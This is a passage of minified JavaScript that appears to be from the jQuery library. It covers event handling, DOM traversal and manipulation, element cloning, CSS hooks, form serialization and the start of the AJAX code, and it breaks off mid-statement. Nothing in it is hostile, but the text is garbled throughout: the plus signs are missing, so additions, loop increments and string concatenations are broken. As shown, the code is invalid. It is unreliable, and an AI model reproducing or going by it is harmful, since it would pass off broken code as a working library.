null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX (o&&o.scrollLeft||r&&r.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY (o&&o.scrollTop||r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&l&&(e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==at()&&this.focus){try{return this.focus(),!1}catch(e){}}},delegateType:"focusin"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return x.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=a.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on" t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,t):new x.Event(e,n)},x.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},x.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:function(){return x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"button")?n.form:t;r&&!x._data(r,"submitBubbles")&&(x.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return x.nodeName(this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.support.changeBubbles||(x.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(x.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),x.event.simulate("change",this,e,!0)})),!1):(x.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!x._data(t,"changeBubbles")&&(x.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||x.event.simulate("change",this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return x.event.remove(this,"._change"),!Z.test(this.nodeName)}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n &&a.addEventListener(e,r,!0)},teardown:function(){0===--n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e){this.on(a,n,r,e[a],o)}return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1){i=ot}else{if(!i){return this}}return 1===o&&(s=i,i=function(e){return x().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=x.guid )),this.each(function(){x.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj){return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType "." i.namespace:i.origType,i.selector,i.handler),this}if("object"==typeof e){for(o in e){this.off(o,n,e[o])}return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove(this,e,r,n)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});var st=/^.[^:#\[\.,]*$/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e){return this.pushStack(x(e).filter(function(){for(t=0;i>t;t ){if(x.contains(r[t],this)){return !0}}}))}for(t=0;i>t;t ){x.find(e,r[t],n)}return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector " " e:e,n},has:function(e){var t,n=x(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t ){if(x.contains(this,n[t])){return !0}}})},not:function(e){return this.pushStack(ft(this,e||[],!0))},filter:function(e){return this.pushStack(ft(this,e||[],!1))},is:function(e){return !!ft(this,"string"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r ){for(n=this[r];n&&n!==t;n=n.parentNode){if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}}}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?"string"==typeof e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function pt(e,t){do{e=e[t]}while(e&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir(e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return x.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter(r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(i=i.reverse())),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=":not(" e ")"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!x(o).is(r))){1===o.nodeType&&i.push(o),o=o[n]}return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling){1===e.nodeType&&e!==t&&n.push(e)}return n}});function ft(e,t,n){if(x.isFunction(t)){return x.grep(e,function(e,r){return !!t.call(e,r,e)!==n})}if(t.nodeType){return x.grep(e,function(e){return e===t!==n})}if("string"==typeof t){if(st.test(t)){return x.filter(t,e,n)}t=x.filter(t,e)}return x.grep(e,function(e){return x.inArray(e,t)>=0!==n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement){while(t.length){n.createElement(t.pop())}}return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d ="(?:null|\d )"/g,mt=RegExp("<(?:" ht ")[\\s/>]","i"),yt=/^\s /,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:] )[^>]*)\/>/gi,bt=/<([\w:] )/,xt=/<tbody/i,wt=/<|?\w ;/,Tt=/<(?:script|style|link)/i,Ct=/^(?:checkbox|radio)$/i,Nt=/checked\s*(?:[^=]|=\s*.checked.)/i,kt=/^$|\/(?:java|ecma)script/i,Et=/^true\/(.*)/,St=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,At={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:x.support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},jt=dt(a),Dt=jt.appendChild(a.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===t?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||a).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i ){t||1!==n.nodeType||x.cleanData(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft(n,"script")),n.parentNode.removeChild(n))}return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t ){1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild){e.removeChild(e.firstChild)}e.options&&x.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t){return 1===n.nodeType?n.innerHTML.replace(gt,""):t}if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerialize&&mt.test(e)||!x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1></$2>");try{for(;i>r;r ){n=this[r]||{},1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e)}n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t ],i=e[t ];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);var r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>=c||"string"!=typeof h||x.support.checkClone)&&Nt.test(h)){return this.each(function(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html())),i.domManip(e,t,n)})}if(c&&(l=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),r=l.firstChild,1===l.childNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u ){i=l,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u)}if(o){for(s=a[a.length-1].ownerDocument,x.map(a,qt),u=0;o>u;u ){i=a[u],kt.test(i.type||"")&&!x._data(i,"globalEval")&&x.contains(s,i)&&(i.src?x._evalUrl(i.src):x.globalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")))}}l=r=null}return this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function Ht(e){return e.type=(null!==x.find.attr(e,"type")) "/" e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e[r]);r ){x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}}function Mt(e,t){if(1===t.nodeType&&x.hasData(e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s){for(r=0,i=s[n].length;i>r;r ){x.event.add(t,n,s[n][r])}}}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&&t[x.expando]){i=x._data(t);for(r in i.events){x.removeEvent(t,r,i.handle)}t.removeAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),x.support.html5Clone&&e.innerHTML&&!x.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r ){n=r===a?this:this.clone(!0),x(o[r])[t](n),h.apply(i,n.get())}return this.pushStack(i)}});function Ft(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s){for(s=[],r=e.childNodes||e;null!=(o=r[a]);a ){!n||x.nodeName(o,n)?s.push(o):x.merge(s,Ft(o,n))}}return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}function Bt(e){Ct.test(e.type)&&(e.defaultChecked=e.checked)}x.extend({clone:function(e,t,n){var r,i,o,a,s,l=x.contains(e.ownerDocument,e);if(x.support.html5Clone||x.isXMLDoc(e)||!mt.test("<" e.nodeName ">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(x.support.noCloneEvent&&x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e))){for(r=Ft(o),s=Ft(e),a=0;null!=(i=s[a]); a){r[a]&&Ot(i,r[a])}}if(t){if(n){for(s=s||Ft(e),r=r||Ft(o),a=0;null!=(i=s[a]);a ){Mt(i,r[a])}}else{Mt(e,o)}}return r=Ft(o,"script"),r.length>0&&_t(r,!l&&Ft(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h ){if(o=e[h],o||0===o){if("object"===x.type(o)){x.merge(d,o.nodeType?[o]:o)}else{if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||At._default,s.innerHTML=c[1] o.replace(vt,"<$1></$2>") c[2],i=c[0];while(i--){s=s.lastChild}if(!x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!x.support.tbody){o="table"!==l||xt.test(o)?"<table>"!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--){x.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}}x.merge(d,s.childNodes),s.textContent="";while(s.firstChild){s.removeChild(s.firstChild)}s=f.lastChild}else{d.push(t.createTextNode(o))}}}}s&&f.removeChild(s),x.support.appendChecked||x.grep(Ft(d,"input"),Bt),h=0;while(o=d[h ]){if((!r||-1===x.inArray(o,r))&&(a=x.contains(o.ownerDocument,o),s=Ft(f.appendChild(o),"script"),a&&_t(s),n)){i=0;while(o=s[i ]){kt.test(o.type||"")&&n.push(o)}}}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;for(;null!=(n=e[s]);s ){if((t||x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events){for(r in a.events){f[r]?x.event.remove(n,r):x.removeEvent(n,r,a.handle)}}u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(l):n[l]=null,p.push(o))}}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}}),x.fn.extend({wrapAll:function(e){if(x.isFunction(e)){return this.each(function(t){x(this).wrapAll(e.call(this,t))})}if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType){e=e.firstChild}return e}).append(this)}return this},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x(this).replaceWith(this.childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]). )/,Ut=/^margin/,Vt=RegExp("^(" w ")(.*)$","i"),Yt=RegExp("^(" w ")(?!px)[a-z%] $","i"),Jt=RegExp("^([ -])=(" w ")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e){return t}var n=t.charAt(0).toUpperCase() t.slice(1),r=t,i=en.length;while(i--){if(t=en[i] n,t in e){return t}}return r}function nn(e,t){return e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.length;for(;s>a;a ){r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._data(r,"olddisplay",ln(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&x._data(r,"olddisplay",i?n:x.css(r,"display"))))}for(a=0;s>a;a ){r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"))}return e}x.fn.extend({css:function(e,n){return x.access(this,function(e,n,r){var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt(e),i=n.length;i>s;s ){a[n[s]]=x.css(e,n[s],!1,o)}return a}return r!==t?x.style(e,n,r):x.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":x.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps[l]=tn(u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t){return s&&"get" in s&&(o=s.get(e,!1,i))!==t?o:u[n]}if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1] 1)*o[2] parseFloat(x.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||x.cssNumber[l]||(r ="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set" in s&&(r=s.set(e,r,i))===t))){try{u[n]=r}catch(c){}}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssProps[l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get" in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||0:a):a}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains(e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&(i=u.width,o=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidth=o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;return null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&(i=u.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.pixelLeft "px",u.left=i,a&&(o.left=a)),""===l?"auto":l});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0)) (r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o =2){"margin"===n&&(a =x.css(e,n Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding" Zt[o],!0,i)),"margin"!==n&&(a-=x.css(e,"border" Zt[o] "Width",!0,i))):(a =x.css(e,"padding" Zt[o],!0,i),"padding"!==n&&(a =x.css(e,"border" Zt[o] "Width",!0,i)))}return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i)){return i}r=a&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i an(e,t,n||(a?"border":"content"),r,o) "px"}function ln(e){var t=a,n=Gt[e];return n||(n=un(e,t),"none"!==n&&n||(Pt=(Pt||x("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block !important")).appendTo(t.documentElement),t=(Pt[0].contentWindow||Pt[0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=un(e,t),Pt.detach()),Gt[e]=n),n}function un(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],"display");return n.remove(),r}x.each(["height","width"],function(e,n){x.cssHooks[n]={get:function(e,r,i){return r?0===e.offsetWidth&&Xt.test(x.css(e,"display"))?x.swap(e,Qt,function(){return sn(e,n,i)}):sn(e,n,i):t},set:function(e,t,r){var i=r&&Rt(e);return on(e,t,r?an(e,n,r,x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,i),i):0)}}}),x.support.opacity||(x.cssHooks.opacity={get:function(e,t){return It.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?0.01*parseFloat(RegExp.$1) "":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=x.isNumeric(t)?"alpha(opacity=" 100*t ")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===x.trim(o.replace($t,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=$t.test(o)?o.replace($t,i):o " " i)}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,n){return n?x.swap(e,{display:"inline-block"},Wt,[e,"marginRight"]):t}}),!x.support.pixelPosition&&x.fn.position&&x.each(["top","left"],function(e,n){x.cssHooks[n]={get:function(e,r){return r?(r=Wt(e,n),Yt.test(r)?x(e).position()[n] "px":r):t}}})}),x.expr&&x.expr.filters&&(x.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight||!x.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||x.css(e,"display"))},x.expr.filters.visible=function(e){return !x.expr.filters.hidden(e)}),x.each({margin:"",padding:"",border:"Width"},function(e,t){x.cssHooks[e t]={expand:function(n){var r=0,i={},o="string"==typeof n?n.split(" "):[n];for(;4>r;r ){i[e Zt[r] t]=o[r]||o[r-2]||o[0]}return i}},Ut.test(e)||(x.cssHooks[e t].set=on)});var cn=/ /g,pn=/\[\]$/,fn=/\r?\n/g,dn=/^(?:submit|button|image|reset|file)$/i,hn=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop(this,"elements");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!x(this).is(":disabled")&&hn.test(this.nodeName)&&!dn.test(e)&&(this.checked||!Ct.test(e))}).map(function(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return{name:t.name,value:e.replace(fn,"\r\n")}}):{name:t.name,value:n.replace(fn,"\r\n")}}).get()}}),x.param=function(e,n){var r,i=[],o=function(e,t){t=x.isFunction(t)?t():null==t?"":t,i[i.length]=encodeURIComponent(e) "=" encodeURIComponent(t)};if(n===t&&(n=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArray(e)||e.jquery&&!x.isPlainObject(e)){x.each(e,function(){o(this.name,this.value)})}else{for(r in e){gn(r,e[r],n,o)}}return i.join("&").replace(cn," ")};function gn(e,t,n,r){var i;if(x.isArray(t)){x.each(t,function(t,i){n||pn.test(e)?r(e,i):gn(e "[" ("object"==typeof i?t:"") "]",i,n,r)})}else{if(n||"object"!==x.type(t)){r(e,t)}else{for(i in t){gn(e "[" i "]",t[i],n,r)}}}}x.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){x.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var mn,yn,vn=x.now(),bn=/\?/,xn=/#.*$/,wn=/([?&])_=[^&]*/,Tn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Cn=/^(?:about|app|app-storage|. -extension|file|res|widget):$/,Nn=/^(?:GET|HEAD)$/,kn=/^\/\//,En=/^([\w. -] :)(?:\/\/([^\/?#:]*)(?::(\d )|)|)/,Sn=x.fn.load,An={},jn={},Dn="*/".concat("*");try{yn=o.href}catch(Ln){yn=a.createElement("a"),yn.href="",yn=yn.href}mn=En.exec(yn.toLowerCase())||[];function Hn(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(T)||[];if(x.isFunction(n)){while(r=o[i ]){" "===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}}}function qn(e,n,r,i){var o={},a=e===jn;function s(l){var u;return o[l]=!0,x.each(e[l]||[],function(e,l){var c=l(n,r,i);return"string"!=typeof c||a||o[c]?a?!(u=c):t:(n.dataTypes.unshift(c),s(c),!1)}),u}return s(n.dataTypes[0])||!o["*"]&&s("*")}function _n(e,n){var r,i,o=x.ajaxSettings.flatOptions||{};for(i in n){n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i])}return r&&x.extend(!0,e,r),e}x.fn.load=function(e,n,r){if("string"!=typeof e&&Sn){return Sn.apply(this,arguments)}var i,o,a,s=this,l=e.indexOf(" ");return 